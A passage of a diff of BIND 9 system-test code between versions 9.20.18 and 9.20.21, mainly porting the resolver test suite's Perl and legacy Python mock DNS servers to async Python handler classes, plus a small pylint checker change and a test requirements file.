Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import dns.rcode + +import isctest + + +def attempt_query(ns): + ns.rndc("flush") + msg = isctest.query.create("foo.example.", "A") + res = isctest.query.udp(msg, ns.ip) + if msg.rcode() == dns.rcode.NOERROR: + return len(res.answer) == 1 + return False + + +def test_randomizens(ns6): + resolved = False + for _ in range(1, 25): + if attempt_query(ns6): + resolved = True + break + assert resolved diff -Nru bind9-9.20.18/bin/tests/system/re_compile_checker.py bind9-9.20.21/bin/tests/system/re_compile_checker.py --- bind9-9.20.18/bin/tests/system/re_compile_checker.py 2026-01-09 13:39:28.149973975 +0000 +++ bind9-9.20.21/bin/tests/system/re_compile_checker.py 2026-03-13 22:01:10.691877666 +0000 @@ -14,7 +14,6 @@ import re from astroid import nodes - from pylint.checkers import BaseRawFileChecker from pylint.lint import PyLinter @@ -36,10 +35,19 @@ def process_module(self, node: nodes.Module) -> None: pattern = re.compile(r"re\.compile\(") + import_pattern = re.compile(r"^\s*(import|from)\s+isctest\b") with node.stream() as stream: - for lineno, line in enumerate(stream): - if pattern.search(line.decode("utf-8")): - self.add_message("re-compile-alias", line=lineno) + lines = [line.decode("utf-8", errors="replace") for line in stream] + + if not any( + import_pattern.search(line) and not line.lstrip().startswith("#") + for line in lines + ): + return + + for lineno, line in enumerate(lines): + if pattern.search(line): + self.add_message("re-compile-alias", line=lineno) def register(linter: PyLinter) -> None: diff -Nru bind9-9.20.18/bin/tests/system/requirements.txt bind9-9.20.21/bin/tests/system/requirements.txt --- bind9-9.20.18/bin/tests/system/requirements.txt 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/requirements.txt 2026-03-13 22:01:10.696877507 +0000 @@ -0,0 +1,13 @@ +### Test requirements + +dnspython>=2.7.0 + +cryptography +hypothesis>=4.41.2 +jinja2 +pytest>=7.0.0 +requests + +### Utility packages for executing the tests +flaky +pytest-xdist diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans10/ans.py bind9-9.20.21/bin/tests/system/resolver/ans10/ans.py --- bind9-9.20.18/bin/tests/system/resolver/ans10/ans.py 2026-01-09 13:39:28.153974080 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans10/ans.py 2026-03-13 22:01:10.696877507 +0000 @@ -9,144 +9,60 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from __future__ import print_function -import os -import sys -import signal -import socket -import select -from datetime import datetime, timedelta -import time -import functools - -import dns, dns.message, dns.query, dns.flags -from dns.rdatatype import * -from dns.rdataclass import * -from dns.rcode import * -from dns.name import * - - -# Log query to file -def logquery(type, qname): - with open("qlog", "a") as f: - f.write("%s %s\n", type, qname) - - -############################################################################ -# Respond to a DNS query. -# If there are EDNS options present return FORMERR copying the OPT record. -# Otherwise: -# SOA gets a unsigned response. -# NS gets a unsigned response. -# A gets a unsigned response. -# All other types get a unsigned NODATA response. -############################################################################ -def create_response(msg): - m = dns.message.from_wire(msg) - qname = m.question[0].name.to_text() - rrtype = m.question[0].rdtype - typename = dns.rdatatype.to_text(rrtype) - - with open("query.log", "a") as f: - f.write("%s %s\n" % (typename, qname)) - print("%s %s" % (typename, qname), end=" ") - - if m.edns != -1 and len(m.options) != 0: - r = dns.message.make_response(m) - r.use_edns( - edns=m.edns, ednsflags=m.ednsflags, payload=m.payload, options=m.options - ) - r.set_rcode(FORMERR) - else: - r = dns.message.make_response(m) - r.set_rcode(NOERROR) - if rrtype == A: - r.answer.append(dns.rrset.from_text(qname, 1, IN, A, "10.53.0.10")) - elif rrtype == NS: - r.answer.append(dns.rrset.from_text(qname, 1, IN, NS, ".")) - elif rrtype == SOA: - r.answer.append(dns.rrset.from_text(qname, 1, IN, SOA, ". . 0 0 0 0 0")) +from collections.abc import AsyncGenerator + +import dns.rcode +import dns.rdatatype + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseHandler, +) + +from ..resolver_ans import rrset, soa_rrset + + +class EdnsWithOptionsFormerrHandler(ResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.query.edns > -1 and qctx.query.options + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.response.set_rcode(dns.rcode.FORMERR) + # The test requires that the server echoes back the client cookie + qctx.response.opt = qctx.query.opt + yield DnsResponseSend(qctx.response, authoritative=False) + + +class FallbackHandler(ResponseHandler): + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + if qctx.qtype == dns.rdatatype.A: + a_rrset = rrset(qctx.qname, dns.rdatatype.A, "10.53.0.10") + qctx.response.answer.append(a_rrset) + elif qctx.qtype == dns.rdatatype.NS: + ns_rrset = rrset(qctx.qname, dns.rdatatype.NS, ".") + qctx.response.answer.append(ns_rrset) + elif qctx.qtype == dns.rdatatype.SOA: + qctx.response.answer.append(soa_rrset(qctx.qname)) else: - r.authority.append(dns.rrset.from_text(qname, 1, IN, SOA, ". . 0 0 0 0 0")) - r.flags |= dns.flags.AA - return r - - -def sigterm(signum, frame): - print("Shutting down now...") - os.remove("ans.pid") - running = False - sys.exit(0) - - -############################################################################ -# Main -# -# Set up responder and control channel, open the pid file, and start -# the main loop, listening for queries on the query channel or commands -# on the control channel and acting on them. -############################################################################ -ip4 = "10.53.0.10" -ip6 = "fd92:7065:b8e:ffff::10" - -try: - port = int(os.environ["PORT"]) -except: - port = 5300 - -query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -query4_socket.bind((ip4, port)) -havev6 = True -try: - query6_socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) - try: - query6_socket.bind((ip6, port)) - except: - query6_socket.close() - havev6 = False -except: - havev6 = False -signal.signal(signal.SIGTERM, sigterm) - -f = open("ans.pid", "w") -pid = os.getpid() -print(pid, file=f) -f.close() - -running = True - -print("Listening on %s port %d" % (ip4, port)) -if havev6: - print("Listening on %s port %d" % (ip6, port)) -print("Ctrl-c to quit") - -if havev6: - input = [query4_socket, query6_socket] -else: - input = [query4_socket] - -while running: - try: - inputready, outputready, exceptready = select.select(input, [], []) - except select.error as e: - break - except socket.error as e: - break - except KeyboardInterrupt: - break - - for s in inputready: - if s == query4_socket or s == query6_socket: - print( - "Query received on %s" % (ip4 if s == query4_socket else ip6), end=" " - ) - # Handle incoming queries - msg = s.recvfrom(65535) - rsp = create_response(msg[0]) - if rsp: - print(dns.rcode.to_text(rsp.rcode())) - s.sendto(rsp.to_wire(), msg[1]) - else: - print("NO RESPONSE") - if not running: - break + qctx.response.authority.append(soa_rrset(qctx.qname)) + + yield DnsResponseSend(qctx.response, authoritative=True) + + +def main() -> None: + server = AsyncDnsServer(default_rcode=dns.rcode.NOERROR) + server.install_response_handlers( + EdnsWithOptionsFormerrHandler(), + FallbackHandler(), + ) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans2/ans.pl bind9-9.20.21/bin/tests/system/resolver/ans2/ans.pl --- bind9-9.20.18/bin/tests/system/resolver/ans2/ans.pl 2026-01-09 13:39:28.153974080 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans2/ans.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,184 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# -# Ad hoc name server -# - -use IO::File; -use IO::Socket; -use Net::DNS; -use Net::DNS::Packet; - -my $localport = int($ENV{'PORT'}); -if (!$localport) { $localport = 5300; } - -my $sock = IO::Socket::INET->new(LocalAddr => "10.53.0.2", - LocalPort => $localport, Proto => "udp") or die "$!"; - -my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; -print $pidf "$$\n" or die "cannot write pid file: $!"; -$pidf->close or die "cannot close pid file: $!"; -sub rmpid { unlink "ans.pid"; exit 1; }; - -$SIG{INT} = \&rmpid; -$SIG{TERM} = \&rmpid; - -for (;;) { - $sock->recv($buf, 512); - - print "**** request from " , $sock->peerhost, " port ", $sock->peerport, "\n"; - - my $packet; - - if ($Net::DNS::VERSION > 0.68) { - $packet = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($packet, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - print "REQUEST:\n"; - $packet->print; - - $packet->header->qr(1); - - my @questions = $packet->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - - if ($qname eq "com" && $qtype eq "NS") { - $packet->header->aa(1); - $packet->push("answer", new Net::DNS::RR("com 300 NS a.root-servers.nil.")); - } elsif ($qname eq "example.com" && $qtype eq "NS") { - $packet->header->aa(1); - $packet->push("answer", new Net::DNS::RR("example.com 300 NS a.root-servers.nil.")); - } elsif ($qname eq "cname1.example.com") { - # Data for the "cname + other data / 1" test - $packet->push("answer", new Net::DNS::RR("cname1.example.com 300 CNAME cname1.example.com")); - $packet->push("answer", new Net::DNS::RR("cname1.example.com 300 A 1.2.3.4")); - } elsif ($qname eq "cname2.example.com") { - # Data for the "cname + other data / 2" test: same RRs in opposite order - $packet->push("answer", new Net::DNS::RR("cname2.example.com 300 A 1.2.3.4")); - $packet->push("answer", new Net::DNS::RR("cname2.example.com 300 CNAME cname2.example.com")); - } elsif ($qname =~ /redirect\.com/) { - $packet->push("authority", new Net::DNS::RR("redirect.com 300 NS ns.redirect.com")); - $packet->push("additional", new Net::DNS::RR("ns.redirect.com 300 A 10.53.0.6")); - } elsif ($qname =~ /\.tld1/) { - $packet->push("authority", new Net::DNS::RR("tld1 300 NS ns.tld1")); - $packet->push("additional", new Net::DNS::RR("ns.tld1 300 A 10.53.0.6")); - } elsif ($qname =~ /\.tld2/) { - $packet->push("authority", new Net::DNS::RR("tld2 300 NS ns.tld2")); - $packet->push("additional", new Net::DNS::RR("ns.tld2 300 A 10.53.0.7")); - } elsif ($qname eq "org" && $qtype eq "NS") { - $packet->header->aa(1); - $packet->push("answer", new Net::DNS::RR("org 300 NS a.root-servers.nil.")); - } elsif ($qname eq "example.org" && $qtype eq "NS") { - $packet->header->aa(1); - $packet->push("answer", new Net::DNS::RR("example.org 300 NS a.root-servers.nil.")); - } elsif (($qname eq "baddname.example.org" || $qname eq "gooddname.example.org") && $qtype eq "NS") { - $packet->header->aa(1); - $packet->push("answer", new Net::DNS::RR("example.org 300 NS a.root-servers.nil.")); - } elsif ($qname eq "www.example.org" || - $qname eq "badcname.example.org" || - $qname eq "goodcname.example.org" || - $qname eq "foo.baddname.example.org" || - $qname eq "foo.gooddname.example.org") { - # Data for address/alias filtering. - $packet->header->aa(1); - if ($qtype eq "A") { - $packet->push("answer", - new Net::DNS::RR($qname . - " 300 A 192.0.2.1")); - } elsif ($qtype eq "AAAA") { - $packet->push("answer", - new Net::DNS::RR($qname . - " 300 AAAA 2001:db8:beef::1")); - } - } elsif ($qname eq "net" && $qtype eq "NS") { - $packet->header->aa(1); - $packet->push("answer", new Net::DNS::RR("net 300 NS a.root-servers.nil.")); - } elsif ($qname eq "noresponse.exampleudp.net") { - next; - } elsif ($qname =~ /example\.net/) { - $packet->push("authority", new Net::DNS::RR("example.net 300 NS ns.example.net")); - $packet->push("additional", new Net::DNS::RR("ns.example.net 300 A 10.53.0.3")); - } elsif ($qname =~ /exampleudp\.net/) { - $packet->push("authority", new Net::DNS::RR("exampleudp.net 300 NS ns.exampleudp.net")); - $packet->push("additional", new Net::DNS::RR("ns.exampleudp.net 300 A 10.53.0.2")); - } elsif ($qname =~ /lame\.example\.org/) { - $packet->header->ad(0); - $packet->header->aa(0); - $packet->push("authority", new Net::DNS::RR("lame.example.org 300 NS ns.lame.example.org")); - $packet->push("additional", new Net::DNS::RR("ns.lame.example.org 300 A 10.53.0.3")); - } elsif ($qname =~ /sub\.example\.org/) { - # Data for CNAME/DNAME filtering. The final answers are - # expected to be accepted regardless of the filter setting. - $packet->push("authority", new Net::DNS::RR("sub.example.org 300 NS ns.sub.example.org")); - $packet->push("additional", new Net::DNS::RR("ns.sub.example.org 300 A 10.53.0.3")); - } elsif ($qname =~ /glue-in-answer\.example\.org/) { - $packet->push("answer", new Net::DNS::RR("ns.glue-in-answer.example.org 300 A 10.53.0.3")); - $packet->push("authority", new Net::DNS::RR("glue-in-answer.example.org 300 NS ns.glue-in-answer.example.org")); - $packet->push("additional", new Net::DNS::RR("ns.glue-in-answer.example.org 300 A 10.53.0.3")); - } elsif ($qname =~ /\.broken/ || $qname =~ /^broken/) { - # Delegation to broken TLD. - $packet->push("authority", new Net::DNS::RR("broken 300 NS ns.broken")); - $packet->push("additional", new Net::DNS::RR("ns.broken 300 A 10.53.0.4")); - } elsif ($qname =~ /\.partial-formerr/) { - $packet->header->rcode("FORMERR"); - } elsif ($qname eq "gl6412") { - if ($qtype eq "SOA") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } elsif ($qtype eq "NS") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 NS ns2" . $qname)); - $packet->push("answer", - new Net::DNS::RR($qname . " 300 NS ns3" . $qname)); - } else { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } - } elsif ($qname eq "a.gl6412" || $qname eq "a.a.gl6412") { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } elsif ($qname eq "ns2.gl6412") { - if ($qtype eq "A") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 10.53.0.2")); - } else { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } - } elsif ($qname eq "ns3.gl6412") { - if ($qtype eq "A") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 10.53.0.3")); - } else { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } - } else { - # Data for the "bogus referrals" test - $packet->push("authority", new Net::DNS::RR("below.www.example.com 300 NS ns.below.www.example.com")); - $packet->push("additional", new Net::DNS::RR("ns.below.www.example.com 300 A 10.53.0.3")); - } - - $sock->send($packet->data); - - print "RESPONSE:\n"; - $packet->print; - print "\n"; -} diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans2/ans.py bind9-9.20.21/bin/tests/system/resolver/ans2/ans.py --- bind9-9.20.18/bin/tests/system/resolver/ans2/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans2/ans.py 2026-03-13 22:01:10.696877507 +0000 @@ -0,0 +1,214 @@ +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from collections.abc import AsyncGenerator + +import dns.name +import dns.rcode +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsResponseSend, + DomainHandler, + IgnoreAllQueries, + QnameHandler, + QnameQtypeHandler, + QueryContext, + ResponseHandler, + StaticResponseHandler, +) + +from ..resolver_ans import ( + DelegationHandler, + Gl6412AHandler, + Gl6412Handler, + Gl6412Ns2Handler, + Gl6412Ns3Handler, + rrset, + setup_delegation, +) + + +class BadGoodDnameNsHandler(QnameQtypeHandler, StaticResponseHandler): + qnames = [ + "baddname.example.org.", + "gooddname.example.org.", + ] + qtypes = [dns.rdatatype.NS] + answer = [rrset("example.org.", dns.rdatatype.NS, "a.root-servers.nil.")] + authoritative = True + + +def _cname_rrsets( + qname: dns.name.Name | str, +) -> tuple[dns.rrset.RRset, dns.rrset.RRset]: + return ( + rrset(qname, dns.rdatatype.CNAME, f"{qname}"), + rrset(qname, dns.rdatatype.A, "1.2.3.4"), + ) + + +class Cname1Handler(QnameHandler, StaticResponseHandler): + qnames = ["cname1.example.com."] + # Data for the "cname + other data / 1" test + answer = _cname_rrsets(qnames[0]) + authoritative = False + + +class Cname2Handler(QnameHandler, StaticResponseHandler): + qnames = ["cname2.example.com."] + # Data for the "cname + other data / 2" test: same RRs in opposite order + answer = tuple(reversed(_cname_rrsets(qnames[0]))) + authoritative = False + + +class ExampleOrgHandler(QnameHandler): + qnames = [ + "www.example.org", + "badcname.example.org", + "goodcname.example.org", + "foo.baddname.example.org", + "foo.gooddname.example.org", + ] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + # Data for address/alias filtering. + if qctx.qtype == dns.rdatatype.A: + a_rrset = rrset(qctx.qname, dns.rdatatype.A, "192.0.2.1") + qctx.response.answer.append(a_rrset) + elif qctx.qtype == dns.rdatatype.AAAA: + aaaa_rrset = rrset(qctx.qname, dns.rdatatype.AAAA, "2001:db8:beef::1") + qctx.response.answer.append(aaaa_rrset) + yield DnsResponseSend(qctx.response, authoritative=True) + + +class NoResponseExampleUdpHandler(QnameHandler, IgnoreAllQueries): + qnames = ["noresponse.exampleudp.net."] + + +class RootNsHandler(QnameQtypeHandler): + qnames = [ + "example.com.", + "com.", + "example.org.", + "org.", + "net.", + ] + + qtypes = [dns.rdatatype.NS] + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + root_ns = rrset(qctx.qname, dns.rdatatype.NS, "a.root-servers.nil.") + qctx.response.answer.append(root_ns) + yield DnsResponseSend(qctx.response, authoritative=True) + + +class Ns2Delegation(DelegationHandler): + domains = ["exampleudp.net."] + server_number = 2 + + +class Ns3Delegation(DelegationHandler): + domains = [ + "example.net.", + "lame.example.org.", + "sub.example.org.", + ] + server_number = 3 + + +class Ns3GlueInAnswerDelegation(DelegationHandler): + domains = ["glue-in-answer.example.org."] + server_number = 3 + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + async for dns_response in super().get_responses(qctx): + dns_response.response.answer += dns_response.response.additional + yield dns_response + + +class Ns4Delegation(DelegationHandler): + domains = ["broken."] + server_number = 4 + + +class Ns6Delegation(DelegationHandler): + domains = [ + "redirect.com.", + "tld1.", + ] + server_number = 6 + + +class Ns7Delegation(DelegationHandler): + domains = ["tld2."] + server_number = 7 + + +class PartialFormerrHandler(DomainHandler, StaticResponseHandler): + domains = ["partial-formerr."] + authoritative = False + rcode = dns.rcode.FORMERR + + +class FallbackHandler(ResponseHandler): + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + setup_delegation(qctx, "below.www.example.com.", 3) + yield DnsResponseSend(qctx.response, authoritative=False) + + +def main() -> None: + server = AsyncDnsServer(default_rcode=dns.rcode.NOERROR) + + # Install QnameHandlers first + server.install_response_handlers( + BadGoodDnameNsHandler(), + Cname1Handler(), + Cname2Handler(), + ExampleOrgHandler(), + Gl6412AHandler(), + Gl6412Handler(), + Gl6412Ns2Handler(), + Gl6412Ns3Handler(), + NoResponseExampleUdpHandler(), + RootNsHandler(), + ) + + # Then install DomainHandlers + server.install_response_handlers( + Ns2Delegation(), + Ns3Delegation(), + Ns3GlueInAnswerDelegation(), + Ns4Delegation(), + Ns6Delegation(), + Ns7Delegation(), + PartialFormerrHandler(), + ) + + # Finally, install the fallback handler + server.install_response_handler(FallbackHandler()) + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans3/ans.pl bind9-9.20.21/bin/tests/system/resolver/ans3/ans.pl --- bind9-9.20.18/bin/tests/system/resolver/ans3/ans.pl 2026-01-09 13:39:28.154974106 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans3/ans.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,234 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# -# Ad hoc name server -# - -use IO::File; -use IO::Socket; -use Net::DNS; -use Net::DNS::Packet; - -# Ignore SIGPIPE so we won't fail if peer closes a TCP socket early -local $SIG{PIPE} = 'IGNORE'; - -# Flush logged output after every line -local $| = 1; - -my $localport = int($ENV{'PORT'}); -if (!$localport) { $localport = 5300; } - -my $server_addr = "10.53.0.3"; - -my $udpsock = IO::Socket::INET->new(LocalAddr => "$server_addr", - LocalPort => $localport, Proto => "udp", Reuse => 1) or die "$!"; -my $tcpsock = IO::Socket::INET->new(LocalAddr => "$server_addr", - LocalPort => $localport, Proto => "tcp", Listen => 5, Reuse => 1) or die "$!"; - -my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; -print $pidf "$$\n" or die "cannot write pid file: $!"; -$pidf->close or die "cannot close pid file: $!"; -sub rmpid { unlink "ans.pid"; exit 1; }; - -$SIG{INT} = \&rmpid; -$SIG{TERM} = \&rmpid; - -sub handleQuery { - my $buf = shift; - my $packet; - - if ($Net::DNS::VERSION > 0.68) { - $packet = new Net::DNS::Packet(\$buf, 0); - $@ and die $@; - } else { - my $err; - ($packet, $err) = new Net::DNS::Packet(\$buf, 0); - $err and die $err; - } - - print "REQUEST:\n"; - $packet->print; - - $packet->header->qr(1); - $packet->header->aa(1); - - my @questions = $packet->question; - my $qname = $questions[0]->qname; - my $qtype = $questions[0]->qtype; - - if ($qname eq "example.net" && $qtype eq "NS") { - $packet->push("answer", new Net::DNS::RR($qname . " 300 NS ns.example.net")); - $packet->push("additional", new Net::DNS::RR("ns.example.net 300 A 10.53.0.3")); - } elsif ($qname eq "ns.example.net") { - $packet->push("answer", new Net::DNS::RR($qname . " 300 A 10.53.0.3")); - } elsif ($qname eq "nodata.example.net") { - # Do not add a SOA RRset. - } elsif ($qname eq "noresponse.example.net") { - # Do not response. - print "RESPONSE:\n"; - return ""; - } elsif ($qname eq "nxdomain.example.net") { - # Do not add a SOA RRset. - $packet->header->rcode(NXDOMAIN); - } elsif ($qname eq "www.example.net") { - # Data for address/alias filtering. - if ($qtype eq "A") { - $packet->push("answer", new Net::DNS::RR($qname . " 300 A 192.0.2.1")); - } elsif ($qtype eq "AAAA") { - $packet->push("answer", new Net::DNS::RR($qname . " 300 AAAA 2001:db8:beef::1")); - } - } elsif ($qname eq "badcname.example.net") { - $packet->push("answer", - new Net::DNS::RR($qname . - " 300 CNAME badcname.example.org")); - } elsif (($qname eq "baddname.example.net" || $qname eq "gooddname.example.net") && $qtype eq "NS") { - $packet->push("authority", new Net::DNS::RR("example.net IN SOA (1 2 3 4 5)")) - } elsif ($qname eq "foo.baddname.example.net") { - $packet->push("answer", - new Net::DNS::RR("baddname.example.net" . - " 300 DNAME baddname.example.org")); - } elsif ($qname eq "foo.gooddname.example.net") { - $packet->push("answer", - new Net::DNS::RR("gooddname.example.net" . - " 300 DNAME gooddname.example.org")); - } elsif ($qname eq "goodcname.example.net") { - $packet->push("answer", - new Net::DNS::RR($qname . - " 300 CNAME goodcname.example.org")); - } elsif ($qname =~ /^longcname/) { - $cname = $qname =~ s/longcname/longcnamex/r; - $packet->push("answer", new Net::DNS::RR($qname . " 300 CNAME " . $cname)); - } elsif ($qname =~ /^nodata\.example\.net$/i) { - $packet->header->aa(1); - } elsif ($qname =~ /^nxdomain\.example\.net$/i) { - $packet->header->aa(1); - $packet->header->rcode(NXDOMAIN); - } elsif ($qname =~ /lame\.example\.org/) { - $packet->header->ad(0); - $packet->header->aa(0); - $packet->push("authority", new Net::DNS::RR("lame.example.org 300 NS ns.lame.example.org")); - $packet->push("additional", new Net::DNS::RR("ns.lame.example.org 300 A 10.53.0.3")); - } elsif ($qname eq "large-referral.example.net") { - for (my $i = 1; $i < 1000; $i++) { - $packet->push("authority", new Net::DNS::RR("large-referral.example.net 300 NS ns" . $i . ".fake.redirect.com")); - } - # No glue records - } elsif ($qname eq "foo.bar.sub.tld1") { - $packet->push("answer", new Net::DNS::RR("$qname 300 TXT baz")); - } elsif ($qname eq "cname.sub.example.org") { - $packet->push("answer", - new Net::DNS::RR($qname . - " 300 CNAME ok.sub.example.org")); - } elsif ($qname eq "ok.sub.example.org") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 192.0.2.1")); - } elsif ($qname eq "www.dname.sub.example.org") { - $packet->push("answer", - new Net::DNS::RR("dname.sub.example.org" . - " 300 DNAME ok.sub.example.org")); - } elsif ($qname eq "www.ok.sub.example.org") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 192.0.2.1")); - } elsif ($qname eq "foo.glue-in-answer.example.org") { - $packet->push("answer", new Net::DNS::RR($qname . " 300 A 192.0.2.1")); - } elsif ($qname eq "ns.example.net") { - $packet->push("answer", - new Net::DNS::RR($qname . - " 300 A 10.53.0.3")); - } elsif ($qname =~ /\.partial-formerr/) { - $packet->push("answer", - new Net::DNS::RR($qname . " 1 A 10.53.0.3")); - } elsif ($qname eq "gl6412") { - if ($qtype eq "SOA") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } elsif ($qtype eq "NS") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 NS ns2" . $qname)); - $packet->push("answer", - new Net::DNS::RR($qname . " 300 NS ns3" . $qname)); - } else { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } - } elsif ($qname eq "a.gl6412" || $qname eq "a.a.gl6412") { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } elsif ($qname eq "ns2.gl6412") { - if ($qtype eq "A") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 10.53.0.2")); - } else { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } - } elsif ($qname eq "ns3.gl6412") { - if ($qtype eq "A") { - $packet->push("answer", - new Net::DNS::RR($qname . " 300 A 10.53.0.3")); - } else { - $packet->push("authority", - new Net::DNS::RR($qname . " 300 SOA . . 0 0 0 0 0")); - } - } else { - $packet->push("answer", new Net::DNS::RR("www.example.com 300 A 1.2.3.4")); - } - - print "RESPONSE:\n"; - $packet->print; - - return $packet->data; -} - -# Main -my $rin; -my $rout; -for (;;) { - $rin = ''; - vec($rin, fileno($tcpsock), 1) = 1; - vec($rin, fileno($udpsock), 1) = 1; - - select($rout = $rin, undef, undef, undef); - - if (vec($rout, fileno($udpsock), 1)) { - printf "UDP request\n"; - my $buf; - $udpsock->recv($buf, 512); - my $result = handleQuery($buf); - my $num_chars = $udpsock->send($result); - print " Sent $num_chars bytes via UDP\n"; - } elsif (vec($rout, fileno($tcpsock), 1)) { - my $conn = $tcpsock->accept; - my $buf; - for (;;) { - my $lenbuf; - my $n = $conn->sysread($lenbuf, 2); - last unless $n == 2; - my $len = unpack("n", $lenbuf); - $n = $conn->sysread($buf, $len); - last unless $n == $len; - print "TCP request\n"; - my $result = handleQuery($buf); - $len = length($result); - if ($len != 0) { - $conn->syswrite(pack("n", $len), 2); - $n = $conn->syswrite($result, $len); - } else { - $n = 0; - } - print " Sent: $n chars via TCP\n"; - } - $conn->close; - } -} diff -Nru bind9-9.20.18/bin/tests/system/resolver/ans3/ans.py bind9-9.20.21/bin/tests/system/resolver/ans3/ans.py --- bind9-9.20.18/bin/tests/system/resolver/ans3/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/resolver/ans3/ans.py 2026-03-13 22:01:10.697877475 +0000 @@ -0,0 +1,228 @@ +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from collections.abc import AsyncGenerator + +import dns.name +import dns.rcode +import dns.rdatatype + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsResponseSend, + DomainHandler, + IgnoreAllQueries, + QnameHandler, + QnameQtypeHandler, + QueryContext, + ResponseHandler, + StaticResponseHandler, +) + +from ..resolver_ans import ( + DelegationHandler, + Gl6412AHandler, + Gl6412Handler, + Gl6412Ns2Handler, + Gl6412Ns3Handler, + rrset, + rrset_from_list, + soa_rrset, +) + + +class ApexNSHandler(QnameHandler, StaticResponseHandler): + qnames = ["example.net."] + qtypes = [dns.rdatatype.NS] + answer = [rrset(qnames[0], dns.rdatatype.NS, f"ns.{qnames[0]}")] + additional = [rrset(f"ns.{qnames[0]}", dns.rdatatype.A, "10.53.0.3")] + + +class BadCnameHandler(QnameHandler, StaticResponseHandler): + qnames = ["badcname.example.net."] + answer = [rrset(qnames[0], dns.rdatatype.CNAME, "badcname.example.org.")] + + +class BadGoodDnameNsHandler(QnameQtypeHandler, StaticResponseHandler): + qnames = ["baddname.example.net.", "gooddname.example.net."] + qtypes = [dns.rdatatype.NS] + authority = [soa_rrset("example.net.")] + + +class CnameSubHandler(QnameHandler, 